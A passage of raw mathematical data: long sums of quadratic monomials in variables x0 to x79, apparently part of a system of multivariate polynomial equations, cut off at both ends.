+ x31*x47 + x31*x48 + x31*x51 + x31*x53 + x31*x56 + x31*x57 + x31*x58 + x31*x59 + x31*x60 + x31*x61 + x31*x63 + x31*x65 + x31*x66 + x31*x67 + x31*x68 + x31*x71 + x31*x72 + x31*x73 + x31*x75 + x31*x79 + x32*x34 + x32*x37 + x32*x38 + x32*x40 + x32*x41 + x32*x42 + x32*x44 + x32*x45 + x32*x47 + x32*x49 + x32*x52 + x32*x53 + x32*x61 + x32*x62 + x32*x69 + x32*x70 + x32*x71 + x32*x72 + x32*x74 + x32*x75 + x32*x76 + x32*x77 + x32 + x33*x36 + x33*x40 + x33*x42 + x33*x43 + x33*x44 + x33*x45 + x33*x51 + x33*x57 + x33*x58 + x33*x59 + x33*x60 + x33*x62 + x33*x63 + x33*x64 + x33*x66 + x33*x67 + x33*x72 + x33*x73 + x33*x77 + x34*x36 + x34*x38 + x34*x41 + x34*x42 + x34*x47 + x34*x51 + x34*x52 + x34*x53 + x34*x57 + x34*x58 + x34*x60 + x34*x61 + x34*x62 + x34*x65 + x34*x72 + x34*x73 + x34*x77 + x34*x79 + x34 + x35*x39 + x35*x41 + x35*x42 + x35*x43 + x35*x44 + x35*x45 + x35*x46 + x35*x48 + x35*x50 + x35*x51 + x35*x54 + x35*x59 + x35*x62 + x35*x64 + x35*x65 + x35*x68 + x35*x69 + x35*x72 + x35*x73 + x35*x74 + x35*x76 + x35*x77 + x35 + x36*x40 + x36*x41 + x36*x43 + x36*x46 + x36*x47 + x36*x51 + x36*x53 + x36*x56 + x36*x57 + x36*x58 + x36*x59 + x36*x62 + x36*x63 + x36*x67 + x36*x68 + x36*x70 + x36*x71 + x36*x72 + x36*x73 + x36*x74 + x36*x78 + x37*x38 + x37*x40 + x37*x42 + x37*x43 + x37*x45 + x37*x47 + x37*x48 + x37*x49 + x37*x50 + x37*x52 + x37*x53 + x37*x55 + x37*x56 + x37*x58 + x37*x60 + x37*x63 + x37*x64 + x37*x66 + x37*x67 + x37*x68 + x37*x69 + x37*x70 + x37*x71 + x37*x73 + x37*x74 + x37*x75 + x37*x77 + x37*x78 + x37 + x38*x44 + x38*x50 + x38*x51 + x38*x52 + x38*x53 + x38*x56 + x38*x57 + x38*x60 + x38*x62 + x38*x66 + x38*x69 + x38*x73 + x38*x74 + x38*x75 + x38*x78 + x38*x79 + x39*x42 + x39*x44 + x39*x47 + x39*x49 + x39*x50 + x39*x51 + x39*x53 + x39*x54 + x39*x56 + x39*x57 + x39*x59 + x39*x61 + x39*x68 + x39*x69 + x39*x71 + x39*x73 + x39*x74 + x39*x75 + x39*x79 + x40*x41 + x40*x42 + x40*x44 + x40*x46 + x40*x48 + x40*x51 + x40*x55 + x40*x61 + x40*x68 + x40*x73 + x40*x75 + x40*x76 + x40*x78 + x40 + x41*x44 + x41*x47 + x41*x48 + x41*x50 + x41*x51 + x41*x53 + x41*x59 + x41*x60 + x41*x61 + x41*x62 + x41*x63 + x41*x64 + x41*x65 + x41*x66 + x41*x69 + x41*x71 + x41*x72 + x41*x76 + x41*x77 + x41*x78 + x41*x79 + x42*x43 + x42*x47 + x42*x48 + x42*x51 + x42*x52 + x42*x53 + x42*x54 + x42*x62 + x42*x63 + x42*x68 + x42*x70 + x42*x71 + x42*x72 + x42*x74 + x42*x75 + x42*x76 + x42*x77 + x42 + x43*x46 + x43*x49 + x43*x50 + x43*x59 + x43*x60 + x43*x65 + x43*x66 + x43*x68 + x43*x70 + x43*x71 + x43*x72 + x43*x73 + x43*x74 + x43*x78 + x43*x79 + x44*x45 + x44*x46 + x44*x49 + x44*x50 + x44*x51 + x44*x52 + x44*x53 + x44*x54 + x44*x55 + x44*x56 + x44*x61 + x44*x62 + x44*x64 + x44*x65 + x44*x69 + x44*x72 + x44*x75 + x44*x78 + x45*x46 + x45*x49 + x45*x50 + x45*x51 + x45*x53 + x45*x57 + x45*x58 + x45*x59 + x45*x60 + x45*x61 + x45*x63 + x45*x64 + x45*x66 + x45*x68 + x45*x70 + x45*x72 + x45*x74 + x45*x75 + x45 + x46*x51 + x46*x52 + x46*x53 + x46*x61 + x46*x63 + x46*x64 + x46*x66 + x46*x68 + x46*x71 + x46*x72 + x46*x74 + x46*x75 + x46*x76 + x46*x77 + x47*x48 + x47*x50 + x47*x51 + x47*x52 + x47*x54 + x47*x55 + x47*x56 + x47*x58 + x47*x59 + x47*x60 + x47*x62 + x47*x64 + x47*x67 + x47*x69 + x47*x71 + x47*x72 + x47*x75 + x47*x76 + x47*x77 + x47 + x48*x49 + x48*x50 + x48*x52 + x48*x55 + x48*x56 + x48*x57 + x48*x58 + x48*x59 + x48*x60 + x48*x62 + x48*x67 + x48*x68 + x48*x70 + x48*x72 + x48*x74 + x48*x76 + x48*x77 + x48*x78 + x48 + x49*x55 + x49*x56 + x49*x59 + x49*x62 + x49*x63 + x49*x66 + x49*x68 + x49*x69 + x49*x70 + x49*x71 + x49*x72 + x49*x73 + x49*x74 + x49*x75 + x49*x77 + x49 + x50*x52 + x50*x54 + x50*x58 + x50*x59 + x50*x60 + x50*x63 + x50*x66 + x50*x68 + x50*x69 + x50*x70 + x50*x73 + x50*x75 + x50*x76 + x50*x77 + x50*x78 + x50 + x51*x58 + x51*x59 + x51*x60 + x51*x61 + x51*x62 + x51*x63 + x51*x64 + x51*x65 + x51*x68 + x51*x69 + x51*x71 + x51*x72 + x51*x73 + x51*x74 + x51*x75 + x51*x77 + x52*x53 + x52*x54 + x52*x57 + x52*x58 + x52*x59 + x52*x62 + x52*x63 + x52*x64 + x52*x66 + x52*x67 + x52*x68 + x52*x72 + x52*x73 + x52*x74 + x52*x75 + x52*x77 + x52*x79 + x53*x56 + x53*x57 + x53*x58 + x53*x60 + x53*x62 + x53*x63 + x53*x66 + x53*x69 + x53*x71 + x53*x76 + x53*x78 + x53*x79 + x53 + x54*x58 + x54*x60 + x54*x62 + x54*x65 + x54*x69 + x54*x70 + x54*x71 + x54*x72 + x54*x73 + x54*x75 + x54*x76 + x54*x78 + x55*x62 + x55*x64 + x55*x67 + x55*x68 + x55*x72 + x55*x73 + x55*x74 + x55*x75 + x55*x77 + x55*x78 + x55*x79 + x55 + x56*x57 + x56*x58 + x56*x59 + x56*x60 + x56*x61 + x56*x62 + x56*x63 + x56*x65 + x56*x66 + x56*x68 + x56*x71 + x56*x75 + x56*x77 + x56 + x57*x58 + x57*x59 + x57*x60 + x57*x61 + x57*x62 + x57*x63 + x57*x64 + x57*x66 + x57*x68 + x57*x71 + x57*x72 + x57*x73 + x57*x76 + x57*x77 + x57*x78 + x57 + x58*x59 + x58*x60 + x58*x61 + x58*x63 + x58*x64 + x58*x66 + x58*x68 + x58*x70 + x58*x73 + x58*x74 + x58*x78 + x58 + x59*x60 + x59*x62 + x59*x63 + x59*x68 + x59*x74 + x59*x76 + x59*x79 + x60*x61 + x60*x63 + x60*x70 + x60*x71 + x60*x73 + x60*x78 + x60*x79 + x60 + x61*x64 + x61*x65 + x61*x69 + x61*x70 + x61*x71 + x61*x72 + x61*x73 + x61*x74 + x61*x79 + x62*x68 + x62*x70 + x62*x71 + x62*x75 + x62*x76 + x62*x78 + x62 + x63*x64 + x63*x67 + x63*x68 + x63*x70 + x63*x71 + x63*x74 + x63*x77 + x63*x78 + x63*x79 + x64*x65 + x64*x69 + x64*x70 + x64*x71 + x64*x72 + x64*x75 + x64*x77 + x64*x78 + x65*x66 + x65*x68 + x65*x69 + x65*x71 + x65*x74 + x65 + x66*x67 + x66*x71 + x66*x73 + x66*x75 + x66*x77 + x66*x78 + x67*x69 + x67*x70 + x67*x72 + x67*x74 + x67*x76 + x67*x77 + x67*x79 + x67 + x68*x70 + x68*x72 + x68*x74 + x68*x75 + x68*x77 + x68*x79 + x69*x71 + x69*x72 + x69*x74 + x69*x76 + x69*x77 + x69*x78 + x69*x79 + x69 + x70*x73 + x70*x74 + x70*x76 + x70*x78 + x71*x72 + x71*x74 + x71*x78 + x71*x79 + x71 + x72*x75 + x72*x78 + x73*x74 + x73*x75 + x73*x77 + x73*x78 + x73*x79 + x73 + x74*x75 + x74*x78 + x75*x77 + x76*x77 + x76*x78 + x76*x79 + x77 + x78*x79 + x79, x0*x3 + x0*x4 + x0*x7 + x0*x8 + x0*x10 + x0*x11 + x0*x12 + x0*x14 + x0*x18 + x0*x19 + x0*x23 + x0*x25 + x0*x29 + x0*x31 + x0*x32 + x0*x33 + x0*x35 + x0*x38 + x0*x40 + x0*x41 + x0*x44 + x0*x46 + x0*x48 + x0*x49 + x0*x50 + x0*x51 + x0*x52 + x0*x53 + x0*x54 + x0*x55 + x0*x56 + x0*x57 + x0*x60 + x0*x61 + x0*x62 + x0*x65 + x0*x69 + x0*x70 + x0*x75 + x0*x76 + x0*x77 + x0*x78 + x0 + x1*x2 + x1*x4 + x1*x5 + x1*x8 + x1*x9 + x1*x11 + x1*x12 + x1*x14 + x1*x15 + x1*x16 + x1*x18 + x1*x19 + x1*x24 + x1*x26 + x1*x27 + x1*x28 + x1*x30 + x1*x32 + x1*x33 + x1*x34 + x1*x36 + x1*x41 + x1*x42 + x1*x44 + x1*x45 + x1*x46 + x1*x48 + x1*x49 + x1*x51 + x1*x53 + x1*x56 + x1*x57 + x1*x58 + x1*x59 + x1*x61 + x1*x62 + x1*x63 + x1*x64 + x1*x67 + x1*x68 + x1*x73 + x1*x76 + x1*x78 + x2*x5 + x2*x6 + x2*x7 + x2*x8 + x2*x11 + x2*x13 + x2*x16 + x2*x17 + x2*x22 + x2*x24 + x2*x26 + x2*x27 + x2*x28 + x2*x29 + x2*x30 + x2*x31 + x2*x34 + x2*x35 + x2*x36 + x2*x38 + x2*x39 + x2*x40 + x2*x41 + x2*x42 + x2*x44 + x2*x45 + x2*x46 + x2*x47 + x2*x49 + x2*x50 + x2*x51 + x2*x52 + x2*x54 + x2*x56 + x2*x59 + x2*x60 + x2*x61 + x2*x64 + x2*x70 + x2*x71 + x2*x72 + x2*x74 + x2*x78 + x3*x4 + x3*x9 + x3*x10 + x3*x12 + x3*x14 + x3*x16 + x3*x17 + x3*x19 + x3*x20 + x3*x22 + x3*x26 + x3*x27 + x3*x31 + x3*x32 + x3*x33 + x3*x34 + x3*x35 + x3*x36 + x3*x38 + x3*x40 + x3*x41 + x3*x42 + x3*x43 + x3*x45 + x3*x47 + x3*x52 + x3*x62 + x3*x64 + x3*x65 + x3*x66 + x3*x68 + x3*x69 + x3*x71 + x3*x73 + x3*x74 + x3*x75 + x3*x77 + x3*x78 + x3*x79 + x3 + x4*x5 + x4*x11 + x4*x12 + x4*x14 + x4*x17 + x4*x20 + x4*x22 + x4*x27 + x4*x30 + x4*x33 + x4*x34 + x4*x39 + x4*x40 + x4*x43 + x4*x44 + x4*x45 + x4*x46 + x4*x48 + x4*x50 + x4*x53 + x4*x55 + x4*x58 + x4*x59 + x4*x60 + x4*x62 + x4*x64 + x4*x66 + x4*x71 + x4*x72 + x4*x76 + x4 + x5*x6 + x5*x9 + x5*x10 + x5*x13 + x5*x16 + x5*x17 + x5*x23 + x5*x25 + x5*x26 + x5*x27 + x5*x28 + x5*x29 + x5*x32 + x5*x33 + x5*x35 + x5*x38 + x5*x39 + x5*x40 + x5*x41 + x5*x44 + x5*x47 + x5*x49 + x5*x50 + x5*x51 + x5*x52 + x5*x54 + x5*x57 + x5*x58 + x5*x59 + x5*x61 + x5*x62 + x5*x65 + x5*x66 + x5*x67 + x5*x68 + x5*x73 + x5*x74 + x5*x76 + x5*x77 + x5*x79 + x5 + x6*x7 + x6*x8 + x6*x10 + x6*x11 + x6*x14 + x6*x16 + x6*x21 + x6*x23 + x6*x24 + x6*x28 + x6*x31 + x6*x33 + x6*x34 + x6*x36 + x6*x37 + x6*x39 + x6*x45 + x6*x46 + x6*x47 + x6*x49 + x6*x51 + x6*x52 + x6*x59 + x6*x62 + x6*x63 + x6*x65 + x6*x68 + x6*x69 + x6*x71 + x6*x72 + x6*x74 + x6*x76 + x6*x78 + x6*x79 + x6 + x7*x8 + x7*x9 + x7*x15 + x7*x18 + x7*x19 + x7*x20 + x7*x22 + x7*x23 + x7*x26 + x7*x29 + x7*x31 + x7*x32 + x7*x33 + x7*x36 + x7*x37 + x7*x38 + x7*x39 + x7*x40 + x7*x41 + x7*x42 + x7*x45 + x7*x46 + x7*x48 + x7*x52 + x7*x54 + x7*x56 + x7*x57 + x7*x58 + x7*x59 + x7*x61 + x7*x64 + x7*x65 + x7*x67 + x7*x68 + x7*x69 + x7*x70 + x7*x73 + x7*x78 + x7*x79 + x8*x9 + x8*x10 + x8*x11 + x8*x13 + x8*x15 + x8*x16 + x8*x17 + x8*x20 + x8*x22 + x8*x26 + x8*x27 + x8*x29 + x8*x30 + x8*x31 + x8*x32 + x8*x33 + x8*x34 + x8*x36 + x8*x37 + x8*x39 + x8*x40 + x8*x43 + x8*x44 + x8*x50 + x8*x51 + x8*x52 + x8*x54 + x8*x55 + x8*x62 + x8*x65 + x8*x68 + x8*x69 + x8*x70 + x8*x71 + x8*x74 + x8*x77 + x8*x78 + x9*x11 + x9*x12 + x9*x13 + x9*x14 + x9*x17 + x9*x18 + x9*x19 + x9*x20 + x9*x24 + x9*x26 + x9*x28 + x9*x31 + x9*x33 + x9*x36 + x9*x38 + x9*x42 + x9*x44 + x9*x45 + x9*x46 + x9*x47 + x9*x49 + x9*x52 + x9*x55 + x9*x56 + x9*x57 + x9*x58 + x9*x61 + x9*x63 + x9*x64 + x9*x65 + x9*x67 + x9*x68 + x9*x70 + x9*x72 + x9*x73 + x9*x75 + x9*x79 + x10*x11 + x10*x12 + x10*x13 + x10*x17 + x10*x18 + x10*x19 + x10*x20 + x10*x21 + x10*x24 + x10*x26 + x10*x27 + x10*x28 + x10*x36 + x10*x39 + x10*x42 + x10*x43 + x10*x47 + x10*x48 + x10*x49 + x10*x51 + x10*x53 + x10*x54 + x10*x58 + x10*x59 + x10*x60 + x10*x63 + x10*x67 + x10*x70 + x10*x72 + x10*x74 + x10*x75 + x10*x77 + x10*x79 + x11*x12 + x11*x14 + x11*x15 + x11*x16 + x11*x17 + x11*x20 + x11*x23 + x11*x24 + x11*x26 + x11*x28 + x11*x32 + x11*x33 + x11*x34 + x11*x36 + x11*x37 + x11*x40 + x11*x41 + x11*x42 + x11*x46 + x11*x47 + x11*x49 + x11*x52 + x11*x53 + x11*x55 + x11*x56 + x11*x58 + x11*x59 + x11*x60 + x11*x62 + x11*x63 + x11*x64 + x11*x65 + x11*x66 + x11*x69 + x11*x71 + x11*x72 + x11*x74 + x11*x78 + x11*x79 + x11 + x12*x14 + x12*x17 + x12*x18 + x12*x21 + x12*x22 + x12*x23 + x12*x24 + x12*x25 + x12*x26 + x12*x27 + x12*x29 + x12*x32 + x12*x34 + x12*x35 + x12*x37 + x12*x40 + x12*x41 + x12*x42 + x12*x43 + x12*x44 + x12*x47 + x12*x49 + x12*x51 + x12*x52 + x12*x54 + x12*x55 + x12*x56 + x12*x58 + x12*x59 + x12*x60 + x12*x62 + x12*x68 + x12*x69 + x12*x73 + x12*x75 + x12*x76 + x12*x77 + x12*x79 + x13*x17 + x13*x20 + x13*x23 + x13*x24 + x13*x26 + x13*x28 + x13*x29 + x13*x32 + x13*x33 + x13*x35 + x13*x37 + x13*x38 + x13*x39 + x13*x40 + x13*x41 + x13*x43 + x13*x44 + x13*x46 + x13*x48 + x13*x49 + x13*x52 + x13*x53 + x13*x54 + x13*x55 + x13*x56 + x13*x61 + x13*x65 + x13*x67 + x13*x69 + x13*x70 + x13*x72 + x13*x74 + x13*x76 + x13*x77 + x14*x18 + x14*x19 + x14*x21 + x14*x23 + x14*x25 + x14*x26 + x14*x28 + x14*x31 + x14*x32 + x14*x34 + x14*x37 + x14*x38 + x14*x39 + x14*x45 + x14*x46 + x14*x47 + x14*x54 + x14*x56 + x14*x57 + x14*x64 + x14*x66 + x14*x69 + x14*x70 + x14*x71 + x14*x72 + x14*x73 + x14*x74 + x14*x79 + x14 + x15*x16 + x15*x17 + x15*x18 + x15*x19 + x15*x20 + x15*x23 + x15*x29 + x15*x30 + x15*x31 + x15*x33 + x15*x36 + x15*x38 + x15*x39 + x15*x40 + x15*x41 + x15*x44 + x15*x47 + x15*x50 + x15*x53 + x15*x59 + x15*x60 + x15*x63 + x15*x65 + x15*x66 + x15*x67 + x15*x68 + x15*x73 + x15*x75 + x15*x79 + x15 + x16*x17 + x16*x18 + x16*x19 + x16*x20 + x16*x22 + x16*x24 + x16*x27 + x16*x31 + x16*x33 + x16*x34 + x16*x35 + x16*x37 + x16*x38 + x16*x39 + x16*x41 + x16*x44 + x16*x48 + x16*x50 + x16*x52 + x16*x56 + x16*x58 + x16*x63 + x16*x64 + x16*x66 + x16*x69 + x16*x70 + x16*x72 + x16 + x17*x18 + x17*x21 + x17*x22 + x17*x23 + x17*x24 + x17*x25 + x17*x28 + x17*x29 + x17*x31 + x17*x32 + x17*x33 + x17*x34 + x17*x35 + x17*x36 + x17*x39 + x17*x40 + x17*x42 + x17*x44 + x17*x45 + x17*x46 + x17*x48 + x17*x50 + x17*x52 + x17*x53 + x17*x54 + x17*x56 + x17*x57 + x17*x59 + x17*x62 + x17*x63 + x17*x67 + x17*x68 + x17*x69 + x17*x71 + x17*x72 + x17*x77 + x17*x78 + x18*x19 + x18*x20 + x18*x21 + x18*x22 + x18*x24 + x18*x25 + x18*x28 + x18*x30 + x18*x33 + x18*x34 + x18*x35 + x18*x36 + x18*x37 + x18*x39 + x18*x40 + x18*x41 + x18*x42 + x18*x46 + x18*x47 + x18*x50 + x18*x52 + x18*x53 + x18*x54 + x18*x59 + x18*x61 + x18*x65 + x18*x66 + x18*x67 + x18*x68 + x18*x70 + x18*x71 + x18*x72 + x18*x73 + x18*x74 + x18*x75 + x18*x79 + x19*x20 + x19*x22 + x19*x23 + x19*x25 + x19*x26 + x19*x28 + x19*x29 + x19*x30 + x19*x32 + x19*x33 + x19*x34 + x19*x35 + x19*x36 + x19*x37 + x19*x38 + x19*x39 + x19*x40 + x19*x41 + x19*x43 + x19*x46 + x19*x48 + x19*x49 + x19*x54 + x19*x57 + x19*x58 + x19*x60 + x19*x63 + x19*x64 + x19*x65 + x19*x67 + x19*x69 + x19*x73 + x19*x75 + x19*x76 + x19*x79 + x20*x24 + x20*x28 + x20*x31 + x20*x33 + x20*x34 + x20*x37 + x20*x39 + x20*x40 + x20*x42 + x20*x44 + x20*x49 + x20*x50 + x20*x52 + x20*x53 + x20*x55 + x20*x56 + x20*x57 + x20*x58 + x20*x59 + x20*x61 + x20*x62 + x20*x63 + x20*x65 + x20*x66 + x20*x67 + x20*x69 + x20*x77 + x20 + x21*x23 + x21*x25 + x21*x29 + x21*x31 + x21*x32 + x21*x33 + x21*x37 + x21*x38 + x21*x41 + x21*x46 + x21*x49 + x21*x50 + x21*x53 + x21*x54 + x21*x55 + x21*x57 + x21*x58 + x21*x59 + x21*x60 + x21*x61 + x21*x64 + x21*x68 + x21*x69 + x21*x71 + x21*x72 + x21*x75 + x21*x77 + x21*x78 + x22*x25 + x22*x27 + x22*x29 + x22*x34 + x22*x37 + x22*x38 + x22*x39 + x22*x40 + x22*x41 + x22*x42 + x22*x43 + x22*x44 + x22*x45 + x22*x47 + x22*x48 + x22*x51 + x22*x54 + x22*x55 + x22*x61 + x22*x62 + x22*x63 + x22*x64 + x22*x67 + x22*x69 + x22*x71 + x22*x73 + x22*x76 + x22*x77 + x23*x24 + x23*x26 + x23*x27 + x23*x28 + x23*x31 + x23*x33 + x23*x35 + x23*x37 + x23*x38 + x23*x39 + x23*x41 + x23*x43 + x23*x44 + x23*x46 + x23*x48 + x23*x53 + x23*x54 + x23*x58 + x23*x60 + x23*x61 + x23*x62 + x23*x66 + x23*x69 + x23*x70 + x23*x71 + x23*x72 + x23*x75 + x23*x77 + x23*x78 + x24*x25 + x24*x28 + x24*x38 + x24*x39 + x24*x41 + x24*x44 + x24*x53 + x24*x54 + x24*x55 + x24*x56 + x24*x57 + x24*x58 + x24*x59 + x24*x63 + x24*x65 + x24*x66 + x24*x67 + x24*x68 + x24*x69 + x24*x71 + x24*x78 + x24 + x25*x26 + x25*x27 + x25*x28 + x25*x31 + x25*x32 + x25*x34 + x25*x35 + x25*x37 + x25*x38 + x25*x39 + x25*x41 + x25*x44 + x25*x46 + x25*x47 + x25*x49 + x25*x50 + x25*x53 + x25*x55 + x25*x57 + x25*x62 + x25*x63 + x25*x64 + x25*x65 + x25*x66 + x25*x69 + x25*x70 + x25*x72 + x25*x74 + x25*x77 + x25*x78 + x26*x33 + x26*x34 + x26*x35 + x26*x36 + x26*x37 + x26*x38 + x26*x42 + x26*x43 + x26*x44 + x26*x45 + x26*x48 + x26*x49 + x26*x52 + x26*x54 + x26*x56 + x26*x57 + x26*x59 + x26*x63 + x26*x64 + x26*x66 + x26*x68 + x26*x70 + x26*x71 + x26*x72 + x26*x73 + x26*x76 + x26*x77 + x26*x78 + x26*x79 + x26 + x27*x28 + x27*x30 + x27*x31 + x27*x32 + x27*x33 + x27*x36 + x27*x37 + x27*x38 + x27*x39 + x27*x43 + x27*x48 + x27*x49 + x27*x51 + x27*x52 + x27*x53 + x27*x54 + x27*x56 + x27*x57 + x27*x58 + x27*x59 + x27*x60 + x27*x62 + x27*x63 + x27*x69 + x27*x70 + x27*x74 + x27*x77 + x27*x78 + x28*x30 + x28*x31 + x28*x34 + x28*x36 + x28*x41 + x28*x46 + x28*x47 + x28*x48 + x28*x51 + x28*x52 + x28*x58 + x28*x59 + x28*x63 + x28*x67 + x28*x70 + x28*x71 + x28*x72 + x28*x73 + x28*x74 + x28*x75 + x28*x76 + x28*x78 + x28*x79 + x29*x34 + x29*x35 + x29*x37 + x29*x38 + x29*x41 + x29*x42 + x29*x45 + x29*x49 + x29*x52 + x29*x53 + x29*x54 + x29*x56 + x29*x57 + x29*x58 + x29*x59 + x29*x60 + x29*x62 + x29*x63 + x29*x68 + x29*x72 + x29*x73 + x29*x74 + x30*x33 + x30*x34 + x30*x35 + x30*x37 + x30*x39 + x30*x41 + x30*x42 + x30*x44 + x30*x45 + x30*x46 + x30*x47 + x30*x49 + x30*x51 + x30*x52 + x30*x55 + x30*x57 + x30*x59 + x30*x60 + x30*x64 + x30*x66 + x30*x67 + x30*x68 + x30*x70 + x30*x74 + x30*x75 + x30 + x31*x35 + x31*x38 + x31*x39 + x31*x40 + x31*x41 + x31*x42 + x31*x47 + x31*x48 + x31*x49 + x31*x50 + x31*x54 + x31*x55 + x31*x57 + x31*x59 + x31*x60 + x31*x64 + x31*x65 + x31*x67 + x31*x75 + x31*x78 + x31*x79 + x32*x36 + x32*x38 + x32*x40 + x32*x42 + x32*x44 + x32*x45 + x32*x48 + x32*x50 + x32*x51 + x32*x54 + x32*x55 + x32*x57 + x32*x60 + x32*x61 + x32*x62 + x32*x64 + x32*x65 + x32*x66 + x32*x67 + x32*x68 + x32*x69 + x32*x70 + x32*x71 + x32*x72 + x32*x73 + x32*x75 + x32*x76 + x32 + x33*x34 + x33*x35 + x33*x36 + x33*x38 + x33*x39 + x33*x41 + x33*x42 + x33*x44 + x33*x46 + x33*x48 + x33*x49 + x33*x52 + x33*x53 + x33*x54 + x33*x57 + x33*x59 + x33*x61 + x33*x62 + x33*x67 + x33*x68 + x33*x70 + x33*x71 + x33*x72 + x33*x73 + x33*x74 + x33*x76 + x33*x77 + x34*x36 + x34*x41 + x34*x42 + x34*x44 + x34*x46 + x34*x49 + x34*x50 + x34*x51 + x34*x52 + x34*x53 + x34*x54 + x34*x55 + x34*x58 + x34*x59 + x34*x61 + x34*x62 + x34*x63 + x34*x64 + x34*x65 + x34*x66 + x34*x69 + x34*x72 + x34*x73 + x34*x74 + x34*x79 + x34 + x35*x36 + x35*x37 + x35*x39 + x35*x42 + x35*x43 + x35*x45 + x35*x46 + x35*x47 + x35*x51 + x35*x52 + x35*x57 + x35*x58 + x35*x61 + x35*x62 + x35*x63 + x35*x65 + x35*x66 + x35*x70 + x35*x71 + x35*x73 + x35*x74 + x35*x78 + x36*x38 + x36*x39 + x36*x42 + x36*x43 + x36*x46 + x36*x48 + x36*x53 + x36*x55 + x36*x56 + x36*x58 + x36*x60 + x36*x61 + x36*x65 + x36*x66 + x36*x67 + x36*x68 + x36*x70 + x36*x71 + x36*x73 + x36*x79 + x37*x38 + x37*x39 + x37*x43 + x37*x46 + x37*x49 + x37*x54 + x37*x55 + x37*x56 + x37*x60 + x37*x62 + x37*x63 + x37*x64 + x37*x65 + x37*x68 + x37*x69 + x37*x72 + x37*x73 + x37*x76 + x37 + x38*x40 + x38*x41 + x38*x43 + x38*x45 + x38*x47 + x38*x48 + x38*x49 + x38*x51 + x38*x54 + x38*x59 + x38*x61 + x38*x62 + x38*x63 + x38*x66 + x38*x67 + x38*x69 + x38*x71 + x38*x72 + x38*x73 + x38*x76 + x38*x78 + x39*x41 + x39*x45 + x39*x56 + x39*x57 + x39*x58 + x39*x59 + x39*x62 + x39*x64 + x39*x67 + x39*x68 + x39*x69 + x39*x70 + x39*x73 + x39*x74 + x39*x75 + x39*x76 + x39*x77 + x40*x42 + x40*x47 + x40*x48 + x40*x49 + x40*x51 + x40*x54 + x40*x55 + x40*x56 + x40*x57 + x40*x58 + x40*x60 + x40*x61 + x40*x62 + x40*x64 + x40*x66 + x40*x67 + x40*x69 + x40*x71 + x40*x72 + x40*x73 + x40*x74 + x40 + x41*x42 + x41*x44 + x41*x45 + x41*x47 + x41*x49 + x41*x52 + x41*x53 + x41*x55 + x41*x56 + x41*x57 + x41*x59 + x41*x60 + x41*x62 + x41*x67 + x41*x68 + x41*x69 + x41*x70 + x41*x71 + x41*x73 + x41*x75 + x41*x76 + x41*x77 + x41*x78 + x41*x79 + x42*x44 + x42*x45 + x42*x46 + x42*x48 + x42*x52 + x42*x54 + x42*x56 + x42*x58 + x42*x59 + x42*x60 + x42*x63 + x42*x64 + x42*x68 + x42*x69 + x42*x71 + x42*x72 + x42*x74 + x42*x75 + x42*x76 + x43*x48 + x43*x51 + x43*x52 + x43*x55 + x43*x56 + x43*x57 + x43*x58 + x43*x60 + x43*x61 + x43*x64 + x43*x67 + x43*x68 + x43*x70 + x43*x71 + x43*x73 + x43*x74 + x43*x75 + x43*x79 + x44*x46 + x44*x49 + x44*x52 + x44*x54 + x44*x55 + x44*x57 + x44*x58 + x44*x62 + x44*x64 + x44*x68 + x44*x69 + x44*x70 + x44*x72 + x44*x74 + x44*x75 + x44*x78 + x45*x48 + x45*x51 + x45*x54 + x45*x56 + x45*x62 + x45*x64 + x45*x67 + x45*x69 + x45*x71 + x45*x72 + x45*x73 + x45*x76 + x45*x77 + x46*x48 + x46*x51 + x46*x52 + x46*x53 + x46*x55 + x46*x56 + x46*x58 + x46*x60 + x46*x61 + x46*x62 + x46*x64 + x46*x65 + x46*x66 + x46*x68 + x46*x69 + x46*x70 + x46*x71 + x46*x76 + x46*x79 + x46 + x47*x48 + x47*x51 + x47*x54 + x47*x56 + x47*x59 + x47*x60 + x47*x62 + x47*x66 + x47*x75 + x47*x76 + x47*x77 + x48*x50 + x48*x51 + x48*x52 + x48*x54 + x48*x55 + x48*x56 + x48*x60 + x48*x62 + x48*x63 + x48*x64 + x48*x66 + x48*x68 + x48*x69 + x48*x72 + x48*x73 + x48*x76 + x48*x77 + x48*x79 + x48 + x49*x54 + x49*x58 + x49*x59 + x49*x62 + x49*x63 + x49*x64 + x49*x65 + x49*x67 + x49*x72 + x49*x76 + x49*x79 + x49 + x50*x51 + x50*x53 + x50*x56 + x50*x57 + x50*x58 + x50*x61 + x50*x62 + x50*x63 + x50*x67 + x50*x69 + x50*x70 + x50*x71 + x50*x73 + x50*x74 + x50*x75 + x50*x78 + x50 + x51*x54 + x51*x58 + x51*x59 + x51*x60 + x51*x61 + x51*x64 + x51*x65 + x51*x66 + x51*x70 + x51*x73 + x51*x75 + x51*x78 + x52*x53 + x52*x55 + x52*x56 + x52*x57 + x52*x60 + x52*x63 + x52*x64 + x52*x66 + x52*x67 + x52*x70 + x52*x71 + x52*x74 + x52*x77 + x52*x79 + x53*x55 + x53*x56 + x53*x58 + x53*x59 + x53*x60 + x53*x61 + x53*x62 + x53*x65 + x53*x66 + x53*x68 + x53*x71 + x53*x74 + x53*x75 + x53*x77 + x53*x78 + x54*x55 + x54*x57 + x54*x58 + x54*x62 + x54*x63 + x54*x71 + x54*x72 + x54*x73 + x54*x76 + x54 + x55*x58 + x55*x59 + x55*x60 + x55*x61 + x55*x64 + x55*x66 + x55*x69 + x55*x76 + x55*x77 + x55 + x56*x59 + x56*x61 + x56*x62 + x56*x64 + x56*x65 + x56*x66 + x56*x67 + x56*x69 + x56*x70 + x56*x71 + x56*x72 + x56*x75 + x56*x77 + x56*x79 + x57*x61 + x57*x62 + x57*x63 + x57*x65 + x57*x67 + x57*x70 + x57*x72 + x57*x75 + x57*x77 + x58*x59 + x58*x60 + x58*x61 + x58*x63 + x58*x66 + x58*x70 + x58*x74 + x58*x75 + x58*x76 + x58*x77 + x58*x79 + x58 + x59*x63 + x59*x65 + x59*x66 + x59*x68 + x59*x69 + x59*x70 + x59*x71 + x59*x73 + x59*x74 + x59*x76 + x59*x79 + x59 + x60*x64 + x60*x65 + x60*x66 + x60*x72 + x60 + x61*x64 + x61*x65 + x61*x71 + x61*x72 + x61*x74 + x61*x75 + x61*x76 + x61*x77 + x61*x78 + x62*x63 + x62*x64 + x62*x66 + x62*x67 + x62*x68 + x62*x69 + x62*x73 + x62*x75 + x62*x77 + x62*x79 + x63*x64 + x63*x65 + x63*x66 + x63*x67 + x63*x68 + x63*x69 + x63*x70 + x63*x72 + x63*x74 + x63*x77 + x64*x69 + x64*x71 + x64*x73 + x64*x74 + x65*x70 + x65*x71 + x65*x74 + x65*x76 + 